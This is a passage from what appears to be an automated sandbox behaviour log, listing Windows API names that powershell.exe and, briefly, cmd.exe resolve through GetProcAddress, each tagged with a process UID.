OpenProcessToken (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2A (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2 (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryAllFeatureConfigurations (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_GetInstance (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00005048) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005048) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005932) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005932) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005932) 